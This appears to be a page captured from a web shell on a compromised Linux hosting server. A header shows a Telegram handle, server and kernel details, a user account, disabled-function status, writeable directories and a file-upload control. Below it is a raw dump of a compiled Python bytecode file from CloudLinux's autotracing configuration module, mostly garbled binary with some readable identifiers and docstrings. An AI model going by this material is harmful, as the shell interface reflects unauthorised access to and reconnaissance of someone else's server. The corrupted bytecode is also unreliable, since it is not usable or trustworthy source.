https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /opt/alt/python37/lib/python3.7/site-packages/ssa/autotracing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib/python3.7/site-packages/ssa/autotracing/__pycache__/config.cpython-37.pyc
B

��cc(�@sdZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZddlmZddlmZdd	lmZdd
lmZmZmZmZmZddlmZdd
lm Z ddl!m"Z"m#Z#m$Z$m%Z%m&Z&e�'d�Z(e)d�dd�Z*Gdd�de	�Z+eGdd�d��Z,Gdd�de�Z-Gdd�de-�Z.Gdd�de-�Z/e,d�dd�Z0d8e1ee.e/fd�d d!�Z2d9e1e1dd"�d#d$�Z3d:e1e)dd&�d'd(�Z4d;e1e)dd&�d)d*�Z5d<e1ee
e1ee1fd+�d,d-�Z6e
d�d.d/�Z7ee
e1e/fd�d0d1�Z8ee1d�d2d3�Z9dd�d4d5�Z:dd�d6d7�Z;dS)=zF
This module contains a config parser for cloudlinux-xray-autotracing
�N)�ConfigParser)�	dataclass)�Enum)�Any�Union�Tuple�Iterator�List�Optional)�ClPwd)�cpusers)�CPAPIException)�is_cl_solo_edition�is_container�
CLEditions�CLEditionDetectionError�SupportedEditions�)�	flag_file)�SSAError)�umask_0�set_privileges�is_xray_user_agent_active�xray_version�$is_io_throttling_detection_availablezautotracing.config)�returnc
Csjytjdd�}t�d|�Wn4tk
rP}zt�dt|j��dSd}~XYnX|dkr^dS|tj	j
kS)zACurrently Auto tracing feature is not supported on Shared editionT)�skip_marker_checkzCurrent edition: %szUnable to detect edition: %sFN)r�get_cl_edition�logger�infor�error�str�messager�SHARED�value)�edition�e�r'�G/opt/alt/python37/lib/python3.7/site-packages/ssa/autotracing/config.py�is_edition_supported,sr)c@seZdZdZdZdZdS)�Statusz
    Autotracing statuses
    �enabled�disabledN)�__name__�
__module__�__qualname__�__doc__�ENABLED�DISABLEDr'r'r'r(r*Jsr*c@s*eZdZUdZeed<eed<eed<dS)�Userz
    User container
    �uid�name�homeN)r-r.r/r0�int�__annotations__r!r'r'r'r(r3Rs
r3c@sbeZdZdZdZdd�dd�Zeedd�dd	�Zeed
�dd�Zedd
�dd�Z	ed�dd�Z
dS)�AutotracingConfigz)
    Autotracing basic config parser
    �confN)rcCs(tj�|j�}tj�|�s$t�|�dS)zh
        If subdirectory location for autotracing config file does not exist,
        create it
        N)�os�path�dirname�config_file�exists�mkdir)�selfZsubdir_pathr'r'r(�check_config_dirbsz"AutotracingConfig.check_config_dir)�keyr$rc	Cs<|||j|<|��t|jd��}|�|�WdQRXdS)zD
        Set given config item 'key' to given value 'value'
        �wN)�main_sectionrB�openr>�write)rArCr$�
configfiler'r'r(�set_config_valueksz"AutotracingConfig.set_config_value)rCrcCs|�|j�||j|S)zD
        Set given config item 'key' to given value 'value'
        )�readr>rE)rArCr'r'r(�get_config_valuetsz"AutotracingConfig.get_config_value)r$rcCs|�d|�dS)z"
        Set given status
        �statusN)rI)rAr$r'r'r(�
set_status{szAutotracingConfig.set_statuscCs
|�d�S)z"
        Set given status
        rL)rK)rAr'r'r(�
get_status�szAutotracingConfig.get_status)r-r.r/r0rErBrrIrKrMrNr'r'r'r(r9\s		r9cs eZdZdZ�fdd�Z�ZS)�AdminLevelConfigzAdmin level autotracing configcs&ddi}d|_t�j||jdd�dS)NrLr,z/usr/share/clos_ssa/autotracingF)�default_section�strict)r>�super�__init__rE)rA�defaults)�	__class__r'r(rS�szAdminLevelConfig.__init__)r-r.r/r0rS�
__classcell__r'r')rUr(rO�srOcs&eZdZdZed��fdd�Z�ZS)�UserLevelConfigzUser level autotracing config)�
configpathcs2dt���i}|�d�|_t�j||jdd�dS)NrLz/.ssa/autotracingF)rPrQ)rOrNr>rRrSrE)rArXrT)rUr'r(rS�szUserLevelConfig.__init__)r-r.r/r0r!rSrVr'r')rUr(rW�srWcCs t�t���}t|j|j|j�S)z*
    Get current user and his details
    )�pwd�getpwuidr;�getuidr3�pw_uid�pw_name�pw_dir)Zpw_entryr'r'r(�who_am_i�sr_)�	user_homercCsDt�}|jdkr&|rt|�}q@t�}nt�r8t|j�}ntd��|S)zF
    Initialize correct config file instance depending on context
    rz�Auto tracing management is not available. Reason: X-Ray End-User plugin is not enabled, please contact your system administrator for help.)r_r4rWrOrr6r)r`�current_userZ
conf_instancer'r'r(�config_instance�s

rb)r$�userrc
Cs�|r�yt�|�}Wn4tk
rF}ztd|�d��|�Wdd}~XYnXy0t|j|jd��t|j��	|�WdQRXWq�t
k
r�}zt|j�|�Wdd}~XYq�Xn td��t��	|�WdQRXdS)z

    zUser 'z' not foundN)�
target_uid�
target_gid�)
rY�getpwnam�KeyErrorrrr\�pw_gidrbr^rM�PermissionError�strerrorr)r$rc�pw_datar&r'r'r(rI�s$ 
rIF)�username�mode_allrcCs*t�|r|dkrt�ttjj|�dS)z�
    Enable autotracing.
    If username is given, the user's config is changed in Admin's mode.
    Perform some misconfiguration checks before enabling and
    do not enable if some of them appear
    N)�misconfiguration_checks�remove_custom_users_configsrIr*r1r$)rmrnr'r'r(�enable�srqcCs$|r|dkrt�ttjj|�dS)ze
    Disable autotracing.
    If username is given, the user's config is changed in Admin's mode
    N)rprIr*r2r$)rmrnr'r'r(�disable�srr)rmrc
Cs�y
t�Wn,tk
r6}ztjj|jfSd}~XYnX|dk	r�ytt��|���	�dfStj
k
r�}ztt|��|�Wdd}~XYnXt��	�dfS)zk
    Get status of autotracing.
    If username is given, the status for a particular user is returned
    N)
rorr*r2r$�reasonrWr�get_homedirrN�NoSuchUserExceptionr!rO)rmr&r'r'r(rL�s
 rLcCs"yt�Stk
rt�SXdS)zP
    Get panel users via cpapi, ignoring exceptions like NotSupported, etc.
    N)rr
�tupler'r'r'r(�_panel_users�srwc	csLxFt�D]<}yt��|�}Wntjk
r4wYnX|t|�fVqWdS)zT
    Iterator over all users on the server along with their autotracing configs
    N)rwrrtrurW)rcZ_homedirr'r'r(�user_configs	srxcCsdd�t�D�S)zGet list of disabled userscSs$g|]\}}|��tjjkr|�qSr')rNr*r2r$)�.0rmZuserconfr'r'r(�
<listcomp>sz"disabled_users.<locals>.<listcomp>)rxr'r'r'r(�disabled_userssr{cCs�x�t�D]�\}}t�|�}yNt|j|jd��4tj�|j	�r\t�
|j	�t�tj�|j	��WdQRXWqt
k
r�}zt|j�|�Wdd}~XYqXqWdS)z,
    Remove custom users configurations
    )rdreN)rxrYrgrr\rir;r<�isfiler>�remove�rmdirr=rjrrk)rc�user_config_pathrlr&r'r'r(rps
"rpcCs�d}t�s t|ddd�dd��tdd�sLt�sLt�sLt|d	d
d�dd��t�dkrlt|dd
d�dd��tj�t	�s�t|ddd�dd��dS)z(Additional checks for known malfunctionsz@%(reason)s. You should %(fix)s in order to get Auto Tracing workz>Your current CL edition is unsupported by Auto Tracing featurez+use either CL Shared Pro or CL Solo edition)rs�fix�warning)�flagT)�skip_jwt_checkz1Your kernel does not support throttling detectionzupdate the kernelNzX-Ray is not installedz
install X-RayzSlow Site Analyzer is disabledz	enable it)
r)rrrrrr;r<r|r)Z	_templater'r'r(ro,s"
ro)N)N)NF)NF)N)<r0�loggingr;rY�configparserr�dataclassesr�enumr�typingrrrrr	r
�clcommon.clpwdr�clcommon.cpapirZclcommon.cpapi.cpapiexceptionsr
�clcommon.lib.cleditionrrrrr�internal.constantsr�internal.exceptionsr�internal.utilsrrrrr�	getLoggerr�boolr)r*r3r9rOrWr_r!rbrIrqrrrLrwrxr{rpror'r'r'r(�<module>
s@ 

,

"


https://t.me/AnonymousX5 - 2025